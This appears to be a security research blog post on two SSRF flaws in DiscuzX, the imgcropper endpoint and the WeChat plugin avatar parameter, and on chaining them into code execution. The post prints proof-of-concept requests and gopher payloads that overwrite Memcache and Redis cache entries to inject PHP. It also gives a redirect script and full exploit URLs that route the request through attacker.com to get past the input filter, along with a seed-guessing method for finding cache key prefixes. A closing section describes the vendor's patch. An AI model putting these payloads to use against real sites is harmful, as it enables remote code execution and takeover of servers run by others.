DiscuzX: Two SSRF Discovery and Utilization

Category: Tags: ,

Overview

When I was debugging and analyzing the historical vulnerabilities of DiscuzX (hereinafter referred to as Dz), I found that Dz’s SSRF vulnerabilities were actually caused by a function called dfsockopen, and the official patching methods were not very comprehensive. So I simply looked at all the places where dfsockopen was called, and finally found two SSRFs. This article will briefly discuss the causes of these two SSRF vulnerabilities and how to use them.

 

Key function dfsockopen

The key function dfsockopen of this vulnerability:

function dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype  = 'URLENCODE', $allowcurl = TRUE, $position = 0, $files = array()) {
    require_once libfile('function/filesock');
    return _dfsockopen($url, $limit, $post, $cookie, $bysocket, $ip, $timeout, $block, $encodetype, $allowcurl, $position, $files);
}

As you can see, the specific logic of dfsockopen is implemented by _dfsockopen. The general flow of the _dfsockopen function code is: first call the parse_url function to parse the incoming url parameter, and then check whether the curl extension is installed in the PHP environment, if so, then curl will be used to initiate a request for the incoming url parameter ; Otherwise, use fsockopen to establish a socket connection to the resolved host and port, and manually construct and send the HTTP request packet.

The _dfsockopen function code is relatively long, here only the part that calls curl for processing is posted:

 if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) {
        $ch = curl_init();
        $httpheader = array();
        if($ip) {
            $httpheader[] = "Host: ".$host;
        }
        if($httpheader) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
        }
        curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        if($post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            if($encodetype == 'URLENCODE') {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            } else {
                foreach($post as $k => $v) {
                    if(isset($files[$k])) {
                        $post[$k] = '@'.$files[$k];
                    }
                }
                foreach($files as $k => $file) {
                    if(!isset($post[$k]) && file_exists($file)) {
                        $post[$k] = '@'.$file;
                    }
                }
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            }
        }
        if($cookie) {
            curl_setopt($ch, CURLOPT_COOKIE, $cookie);
        }
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        $data = curl_exec($ch);
        $status = curl_getinfo($ch);
        $errno = curl_errno($ch);
        curl_close($ch);
        if($errno || $status['http_code'] != 200) {
            return;
        } else {
            $GLOBALS['filesockheader'] = substr($data, 0, $status['header_size']);
            $data = substr($data, $status['header_size']);
            return !$limit ? $data : substr($data, 0, $limit);
        }
    }

It can be found that dfsockopen did not check whether a requested address is an intranet address. In addition, it will preferentially use curl to construct and send requests. curl is a very powerful network request program. It supports many protocols by default, including the “universal” protocol gopher:

Gopher can construct data packets that send arbitrary content:

Also note that the curl option configuration in this code follows the jump:

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

As we all know, follow jump in SSRF can bypass request protocol restrictions (although not here). In addition, since the _xss_check function in Dz will check the special characters in the url, if some special characters are checked, it will be intercepted, so you can also use the follow jump to bypass the restriction that special characters cannot appear in the url:

private function _xss_check() {

        static $check = array('"', '>', '<', '\'', '(', ')', 'CONTENT-TRANSFER-ENCODING');

        if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash()) {
            system_error('request_tainting');
        }

        if($_SERVER['REQUEST_METHOD'] == 'GET' ) {
            $temp = $_SERVER['REQUEST_URI'];
        } elseif(empty ($_GET['formhash'])) {
            $temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input');
        } else {
            $temp = '';
        }

        if(!empty($temp)) {
            $temp = strtoupper(urldecode(urldecode($temp)));
            foreach ($check as $str) {
                if(strpos($temp, $str) !== false) {
                    system_error('request_tainting');
                }
            }
        }

        return true;
    }

Looking for loopholes

So if you want to find another SSRF idea, you can directly find where dfsockopen is called and the url parameter is controllable. In October last year, two SSRF patches were updated:

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/19fd20f7420397b88278ac1a0dae65fe50012506
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/76a3c77c979f92dc1633ae581b5359db76096593

It can be seen that the official repair method is to directly close the corresponding function or limit the function to the administrator. So in addition to the above two that have been repaired, I looked for them and found two more.

 

imgcropper SSRF

source/class/class_image.php image class init method:

 function init($method, $source, $target, $nosuffix = 0) {
        global $_G;

        $this->errorcode = 0;
        if(empty($source)) {
            return -2;
        }
        $parse = parse_url($source);
        if(isset($parse['host'])) {
            if(empty($target)) {
                return -2;
            }
            $data = dfsockopen($source);
            $this->tmpfile = $source = tempnam($_G['setting']['attachdir'].'./temp/', 'tmpimg_');
            if(!$data || $source === FALSE) {
                return -2;
            }
            file_put_contents($source, $data);
        }
        ......
  }

Find out where the init method of the image class is called, and find that the Thumb, Cropper, and Watermark methods of the image class all call init. For example, Thumb:

function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) {
        $return = $this->init('thumb', $source, $target, $nosuffix);
        ......
    }

So looking for places to call the Thumb method of the image class, and finally found:

Line 52-57 of source/module/misc/misc_imgcropper.php:

require_once libfile('class/image');
    $image = new image();
    $prefix = $_GET['picflag'] == 2 ? $_G['setting']['ftp']['attachurl'] : $_G['setting']['attachurl'];
    if(!$image->Thumb($prefix.$_GET['cutimg'], $cropfile, $picwidth, $picheight)) {
        showmessage('imagepreview_errorcode_'.$image->errorcode, null, null, array('showdialog' => true, 'closetime' => true));
    }

After clearing the breakpoint, debugging found that the value of $_G[‘setting’][‘ftp’][‘attachurl’] is /, and the value of $_G[‘setting’][‘attachurl’] is data/attachment/. So it seems that the use of SSRF is possible when $prefix is /.

At the beginning, cutimg=/10.0.1.1/get was constructed, so that the value of $url would be //10.0.1.1/get, which should be regarded as a normal url in theory, but the request failed.

Follow up _dfsockopen carefully and find that when cURL is installed in the PHP environment, it enters the code branch processed by curl until here:

curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);

$scheme, $host, $port, and $path are the corresponding values after parsing url parameters by parse_url, and when parsing url like //.0.1.1/get, the value of $scheme is null, so the last spliced The result is ://10.0.1.1/get, there is no protocol, curl will automatically add HTTP:// in front of the request for this kind of url, and the result becomes the request HTTP://://10.0.1.1/ get, this kind of url will cause curl to report an error in my environment.

So I removed the curl extension, let the _dfsockopen function code go through the socket sending process, stepped on some of the pitfalls of the parse_url and Dz code (I won’t explain it in detail here, and those who are interested will know about it by adjusting the code), and finally found Constructed like this can be successful:

cutimg=/:@localhost:9090/dz-imgcropper-ssrf

poc:

POST /misc.php?mod=imgcropper&picflag=2&cutimg=/:@localhost:9090/dz-imgcropper-ssrf HTTP/1.1
Host: ubuntu-trusty.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: xkmD_2132_sid=E5sbVr; xkmD_2132_saltkey=m6Y8022s; xkmD_2132_lastvisit=1521612483; xkmD_2132_lastact=1521624907%09misc.php%09imgcropper; xkmD_2132_home_readfeed=1521616105; xkmD_2132_seccode=1.ecda87c571707d3f92; xkmD_2132_ulastactivity=a0f4A9CWpermv2t0GGOrf8%2BzCf6dZyAoQ3Sto7ORINqJeK4g3xcX; xkmD_2132_auth=40a4BIESn2PZVmGftNQ2%2BD1ImxpYr0HXke37YiChA2ruG6OryhLe0bUg53XKlioysCePIZGEO1jmlB1L4qbo; XG8F_2132_sid=fKyQMr; XG8F_2132_saltkey=U7lxxLwx; XG8F_2132_lastvisit=1521683793; XG8F_2132_lastact=1521699709%09index.php%09; XG8F_2132_ulastactivity=200fir8BflS1t8ODAa3R7YNsZTQ1k262ysLbc9wdHRzbPnMZ%2BOv7; XG8F_2132_auth=3711UP00sKWDx2Vo1DtO17C%2FvDfrelGOrwhtDmwu5vBjiXSHuPaFVJ%2FC%2BQi1mw4v4pJ66jx6otRFKfU03cBy; XG8F_2132_lip=172.16.99.1%2C1521688203; XG8F_2132_nofavfid=1; XG8F_2132_onlineusernum=3; XG8F_2132_sendmail=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

imgcroppersubmit=1&formhash=f8472648

At this time, the url is //:@localhost:9090/dz-imgcropper-ssrf. SSRF request is successful:

To construct and utilize in this way, no additional restrictions are required (only the server PHP environment is not installed curl extension), but only HTTP GET requests can be sent, and the server does not follow the jump. The vulnerability is limited.

Later, my colleague also discovered this vulnerability, and he discovered that a higher version of curl can successfully request HTTP://:/. The higher version of curl will resolve this url address to port 80 of 127.0.0.1:

Finally, he used the previous parsing bug of PHP parse_url (https://bugs.php.net/bug.php?id=73192) and the difference in parsing url with parse_url and curl, and successfully performed a 302 jump to any malicious address , And finally 302 jump to gopher, so that you can send any data packet.

However, this method of utilization has special requirements for PHP and curl versions, and requires the server environment to accept requests for an empty Host. In general, the imgcropper SSRF vulnerability is still quite tasteless.

 

Weixin Plugin SSRF

source/plugin/wechat/wechat.class.php WeChat class syncAvatar method:

static public function syncAvatar($uid, $avatar) {

        if(!$uid || !$avatar) {
            return false;
        }

        if(!$content = dfsockopen($avatar)) {
            return false;
        }

        $tmpFile = DISCUZ_ROOT.'./data/avatar/'.TIMESTAMP.random(6);
        file_put_contents($tmpFile, $content);

        if(!is_file($tmpFile)) {
            return false;
        }

        $result = uploadUcAvatar::upload($uid, $tmpFile);
        unlink($tmpFile);

        C::t('common_member')->update($uid, array('avatarstatus'=>'1'));

        return $result;
    }

WeChat::syncAvatar is called in source/plugin/wechat/wechat.inc.php, and $_GET[‘avatar’] is directly passed in as a parameter:

......

elseif(($ac == 'register' && submitcheck('submit') || $ac == 'wxregister') && $_G['wechat']['setting']['wechat_allowregister']) {

        ......

        $uid = WeChat::register($_GET['username'], $ac == 'wxregister');

        if($uid && $_GET['avatar']) {
            WeChat::syncAvatar($uid, $_GET['avatar']);
        }

}

However, because the WeChat login plug-in is used here, if you want to use it, you need to enable WeChat login on the target station:

The construction of SSRF here is very simple, just construct the url directly in the avatar parameter (just note that each request of the wxopenid parameter must be random enough to ensure that there is no repetition. If it is repeated, the code cannot go to the logic of initiating the request):

poc:

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http://localhost:9090/dz-weixin-plugin-ssrf&wxopenid=dont_be_evil

 

Dz SSRF getshell

Jannock submitted a vulnerability to Dz that requires certain conditional command execution. I don’t know the specific details. However, I later searched for information on the Internet and found that SSRF was used to tamper with the cache to getshell. I set up an environment to debug this wonderful exploit method, and found that besides Redis, it is also possible to attack Memcache.

Let me start with the conclusion: Dz is caused by the dfsockopen function. If you want to getshell, the target station needs to meet the following conditions:

The server PHP environment is installed with curl extension (in order to use gopher protocol through curl)

Use Memcache or Redis without password authentication for caching

Since there are more restrictions on the use of imgcropper SSRF, here I use Weixin Plugin SSRF for demonstration.

 

SSRF attack Memcache

After Dz integrated Memcache is successfully configured, the MemCache On logo will appear in the lower right corner of the homepage of the website by default:

 

When Dz is installed, the key name in the cache is prefixed with a random string. So if SSRF wants to attack Memcache, the first question is how to find the correct key name?

install/index.php lines 345-357:

$uid = DZUCFULL ? 1 : $adminuser['uid'];
        $authkey = md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 8)).random(18);
        $_config['db'][1]['dbhost'] = $dbhost;
        $_config['db'][1]['dbname'] = $dbname;
        $_config['db'][1]['dbpw'] = $dbpw;
        $_config['db'][1]['dbuser'] = $dbuser;
        $_config['db'][1]['tablepre'] = $tablepre;
        $_config['admincp']['founder'] = (string)$uid;
        $_config['security']['authkey'] = $authkey;
        $_config['cookie']['cookiepre'] = random(4).'_';
        $_config['memory']['prefix'] = random(6).'_';

        save_config_file(ROOT_PATH.CONFIG, $_config, $default_config);

This is a piece of code when Dz is installed. This code sets the authkey, Cookie prefix, and cache key name prefix, which uses the random function to generate random strings. So follow up with this random:

function random($length) {
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

It can be found that if the PHP version is greater than 4.2.0, the seed of the mt_rand random number is unchanged. In other words, the same seed is used for the mt_rand called when generating authkey, cookie prefix, and cache key name prefix, and the cookie prefix is ​​known, which can be known by observing the HTTP request. Therefore, the random number seeding can be reduced to a very small range for guessing. Here you can use php_mt_seed for seed blasting.

By guessing the mt_rand seed, the possibility of caching key name prefixes is reduced from 62^6 to less than 1,000, which is completely blastable. Construct an SSRF request for all possible cache key prefixes guessed out and send it to the server. Finally, the key value corresponding to a certain key can be changed.

The problem of Memcache cache key name is solved. The next question is, where is the cached data loaded? How to getshell by modifying cached data?

You can directly refer to the article written by chengable for the idea of ​​this part. The details of the output_replace function have changed slightly, but the general idea is the same, so I won’t talk about it anymore.

Finally, we are going to use the gopher protocol to construct the SSRF payload. Write such a piece of code (first assume that the prefix of the cache key name is IwRW7l):

<?php

$_G['setting']['output']['preg']['search']['plugins'] = '/.*/';
$_G['setting']['output']['preg']['replace']['plugins'] = 'phpinfo()';
$_G['setting']['rewritestatus'] = 1;

$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ("Could not connect");
$memcache->set('IwRW7l_setting', $_G['setting']);

Run this PHP code, capture the package at the same time, and then change the data package to gopher form, namely:

gopher://localhost:11211/_set%20IwRW7l_setting%201%200%20161%0d%0aa%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%2F.*%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D

But it is not possible to use it directly to SSRF. Special characters will be detected by _xss_check and the request will be rejected:

So take advantage of the request to follow the jump feature here, put a script similar to this on your own remote server:

<?php

$url = base64_decode($_REQUEST['url']);
header( "Location: " . $url );

In this way, the SSRF URL can be base64 encoded to avoid the detection of _xss_check.

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%3A%2F%2Fattacker.com%2F302.php%3Furl%3DZ29waGVyOi8vbG9jYWxob3N0OjExMjExL19zZXQlMjBJd1JXN2xfc2V0dGluZyUyMDElMjAwJTIwMTYxJTBkJTBhYSUzQTIlM0ElN0JzJTNBNiUzQSUyMm91dHB1dCUyMiUzQmElM0ExJTNBJTdCcyUzQTQlM0ElMjJwcmVnJTIyJTNCYSUzQTIlM0ElN0JzJTNBNiUzQSUyMnNlYXJjaCUyMiUzQmElM0ExJTNBJTdCcyUzQTclM0ElMjJwbHVnaW5zJTIyJTNCcyUzQTQlM0ElMjIlMkYuKiUyRiUyMiUzQiU3RHMlM0E3JTNBJTIycmVwbGFjZSUyMiUzQmElM0ExJTNBJTdCcyUzQTclM0ElMjJwbHVnaW5zJTIyJTNCcyUzQTklM0ElMjJwaHBpbmZvKCklMjIlM0IlN0QlN0QlN0RzJTNBMTMlM0ElMjJyZXdyaXRlc3RhdHVzJTIyJTNCaSUzQTElM0IlN0Q%253D&wxopenid=xxxyyy

 

Visit /forum.php?mod=ajax&action=getthreadtypes&inajax=yes again, you can see that the phpinfo() code has been executed:

Because the cache is violently tampered with, the website will not function properly. The way to return to normal is to refresh the cache. Use the above idea to directly execute the following command after getshell once, and the website can be restored to normal:

echo -e 'flush_all' | nc localhost 11211

Finally, I wrote a script to automate the entire process of getshell:

SSRF attacks Redis

Similarly, after the Dz integration with Redis is successfully configured, the Redis On logo will appear in the lower right corner of the website homepage by default:

 

The steps of SSRF attacking Redis are actually simpler than attacking Memcache, because Redis supports lua scripts, you can directly use lua scripts to get the cache key name without having to guess the prefix. Of course, the prerequisite for a successful attack is that Redis is not configured with password authentication, and the requirepass item of Discuz is empty:

Redis interactive command line to execute lua script:

eval "local t=redis.call('keys','*_setting'); for i,v in ipairs(t) do redis.call('set', v, 'a:2:{s:6:\"output\";a:1:{s:4:\"preg\";a:2:{s:6:\"search\";a:1:{s:7:\"plugins\";s:4:\"/.*/\";}s:7:\"replace\";a:1:{s:7:\"plugins\";s:9:\"phpinfo()\";}}}s:13:\"rewritestatus\";i:1;}') end; return 1;" 0

Similarly, capture the packet in this process and change the data packet to the form of gopher:

gopher://localhost:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24264%0d%0alocal%20t%3Dredis.call('keys'%2C'*_setting')%3B%20for%20i%2Cv%20in%20ipairs(t)%20do%20redis.call('set'%2C%20v%2C%20'a%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%2F.*%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D')%20end%3B%20return%201%3B%0d%0a%241%0d%0a0%0d%0a

SSRF utilizes:http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%3A%2F%2Fattacker.com%2F302.php%3Furl%3DZ29waGVyOi8vbG9jYWxob3N0OjYzNzkvXyozJTBkJTBhJTI0NCUwZCUwYWV2YWwlMGQlMGElMjQyNjQlMGQlMGFsb2NhbCUyMHQlM0RyZWRpcy5jYWxsKCdrZXlzJyUyQycqX3NldHRpbmcnKSUzQiUyMGZvciUyMGklMkN2JTIwaW4lMjBpcGFpcnModCklMjBkbyUyMHJlZGlzLmNhbGwoJ3NldCclMkMlMjB2JTJDJTIwJ2ElM0EyJTNBJTdCcyUzQTYlM0ElMjJvdXRwdXQlMjIlM0JhJTNBMSUzQSU3QnMlM0E0JTNBJTIycHJlZyUyMiUzQmElM0EyJTNBJTdCcyUzQTYlM0ElMjJzZWFyY2glMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E0JTNBJTIyJTJGLiolMkYlMjIlM0IlN0RzJTNBNyUzQSUyMnJlcGxhY2UlMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E5JTNBJTIycGhwaW5mbygpJTIyJTNCJTdEJTdEJTdEcyUzQTEzJTNBJTIycmV3cml0ZXN0YXR1cyUyMiUzQmklM0ExJTNCJTdEJyklMjBlbmQlM0IlMjByZXR1cm4lMjAxJTNCJTBkJTBhJTI0MSUwZCUwYTAlMGQlMGE%253D&wxopenid=xxxyyyzzz

 

The code executes successfully again.

 

Repair patch
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3

Dz refers to the practice in WordPress, does a whitelist check on the request protocol and port of the url, and restricts the requested IP address from being an internal network segment address other than localhost. More importantly, it no longer follows the redirection. Therefore, it is no longer possible to use the gopher protocol to attack the cache service of Dz through SSRF.

 

 

Reviews

There are no reviews yet.

Be the first to review “DiscuzX: Two SSRF Discovery and Utilization”

Your email address will not be published. Required fields are marked *